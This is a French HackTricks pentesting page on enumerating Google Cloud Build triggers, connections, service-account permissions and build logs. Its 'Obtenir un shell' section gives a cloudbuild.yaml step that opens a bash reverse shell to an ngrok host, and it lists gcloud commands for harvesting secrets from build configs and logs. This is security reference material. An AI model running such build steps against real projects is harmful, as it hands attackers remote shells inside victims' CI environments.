GCP - Cloud Build Enum

Soutenez HackTricks

Informations de base

Google Cloud Build est une plateforme CI/CD gérée qui automatise les processus de build et de déploiement de logiciels, intégrant des dépôts de code source et prenant en charge une large gamme de langages de programmation. Il permet aux développeurs de construire, tester et déployer du code automatiquement tout en offrant la flexibilité de personnaliser les étapes et les workflows de build.

Chaque Cloud Build Trigger est lié à un Cloud Repository ou directement connecté à un dépôt externe (Github, Bitbucket et Gitlab).

Je n'ai trouvé aucun moyen de voler le token Github/Bitbucket ici ou depuis les Cloud Repositories car lorsque le dépôt est téléchargé, il est accédé via une URL https://source.cloud.google.com/ et Github n'est pas accédé par le client.

Événements

Le Cloud Build peut être déclenché si :

  • Push vers une branche : Spécifiez la branche

  • Push d'un nouveau tag : Spécifiez le tag

  • Pull request : Spécifiez la branche qui reçoit le PR

  • Invocation manuelle

  • Message Pub/Sub : Spécifiez le sujet

  • Événement Webhook : Exposera une URL HTTPS et la requête doit être authentifiée avec un secret

Exécution

Il y a 3 options :

  • Un yaml/json spécifiant les commandes à exécuter. Habituellement : /cloudbuild.yaml

  • Un seul qui peut être spécifié "inline" dans la console web et dans le cli

  • Option la plus courante

  • Pertinent pour un accès non authentifié

  • Un Dockerfile à construire

  • Un Buildpack à construire

Permissions SA

Le Service Account a le scope cloud-platform, donc il peut utiliser tous les privilèges. Si aucun SA n'est spécifié (comme lors de la soumission), le SA par défaut <proj-number>@cloudbuild.gserviceaccount.com sera utilisé.

Par défaut, aucune permission n'est donnée mais il est assez facile de lui en donner :

Approbations

Il est possible de configurer un Cloud Build pour exiger des approbations pour les exécutions de build (désactivé par défaut).

Approbations de PR

Lorsque le déclencheur est PR, car n'importe qui peut effectuer des PRs vers des dépôts publics, il serait très dangereux de simplement permettre l'exécution du déclencheur avec n'importe quel PR. Par conséquent, par défaut, l'exécution sera automatique pour les propriétaires et les collaborateurs, et pour exécuter le déclencheur avec les PRs d'autres utilisateurs, un propriétaire ou un collaborateur doit commenter /gcbrun.

Connexions & Dépôts

Les connexions peuvent être créées sur :

  • GitHub : Il affichera une invite OAuth demandant des permissions pour obtenir un token Github qui sera stocké dans le Secret Manager.

  • GitHub Enterprise : Il demandera d'installer un GithubApp. Un token d'authentification de votre hôte GitHub Enterprise sera créé et stocké dans ce projet en tant que secret du Secret Manager.

  • GitLab / Enterprise : Vous devez fournir le token d'accès API et le token d'accès Read API qui seront stockés dans le Secret Manager.

Une fois qu'une connexion est générée, vous pouvez l'utiliser pour lier des dépôts auxquels le compte Github a accès.

Cette option est disponible via le bouton :

Notez que les dépôts connectés avec cette méthode sont uniquement disponibles dans les Triggers utilisant la 2ème génération.

Connecter un dépôt

Ce n'est pas la même chose qu'une connexion. Cela permet différentes façons d'obtenir l'accès à un dépôt Github ou Bitbucket mais ne génère pas un objet de connexion, mais génère un objet de dépôt (de 1ère génération).

Cette option est disponible via le bouton :

Stockage

Parfois, Cloud Build générera un nouveau stockage pour stocker les fichiers pour le déclencheur. Cela se produit par exemple dans l'exemple que GCP propose avec :

git clone https://github.com/GoogleCloudBuild/cloud-console-sample-build && \
cd cloud-console-sample-build && \
gcloud builds submit --config cloudbuild.yaml --region=global

Un bucket Storage appelé security-devbox_cloudbuild est créé pour stocker un .tgz avec les fichiers à utiliser.

Obtenir un shell

steps:
- name: bash
script: |
#!/usr/bin/env bash
bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/12395 0>&1
options:
logging: CLOUD_LOGGING_ONLY
Installer gcloud à l'intérieur de cloud build :
# https://stackoverflow.com/questions/28372328/how-to-install-the-google-cloud-sdk-in-a-docker-image
curl https://dl.google.com/dl/cloudsdk/release/google-cloud-sdk.tar.gz > /tmp/google-cloud-sdk.tar.gz
mkdir -p /usr/local/gcloud
tar -C /usr/local/gcloud -xvf /tmp/google-cloud-sdk.tar.gz
/usr/local/gcloud/google-cloud-sdk/install.sh

Énumération

Vous pourriez trouver des informations sensibles dans les configurations de build et les journaux.

# Get configured triggers configurations
gcloud builds triggers list # Check for the words github and bitbucket
gcloud builds triggers describe <trigger-name>

# Get build executions
gcloud builds list
gcloud builds describe <build-uuid> # Get even the build yaml if defined in there
gcloud builds log <build-uuid> # Get build logs

# List all connections of each region
regions=("${(@f)$(gcloud compute regions list --format='value(name)')}")
for region in $regions; do
echo "Listing build connections in region: $region"
connections=("${(@f)$(gcloud builds connections list --region="$region" --format='value(name)')}")
if [[ ${#connections[@]} -eq 0 ]]; then
echo "No connections found in region $region."
else
for connection in $connections; do
echo "Describing connection $connection in region $region"
gcloud builds connections describe "$connection" --region="$region"
echo "-----------------------------------------"
done
fi
echo "========================================="
done

# List all worker-pools
regions=("${(@f)$(gcloud compute regions list --format='value(name)')}")
for region in $regions; do
echo "Listing build worker-pools in region: $region"
gcloud builds worker-pools list --region="$region"
echo "-----------------------------------------"
done

Escalade de Privilèges

GCP - Cloudbuild Privesc

Accès Non Authentifié

GCP - Cloud Build Unauthenticated Enum

Post Exploitation

GCP - Cloud Build Post Exploitation
Soutenez HackTricks

Last updated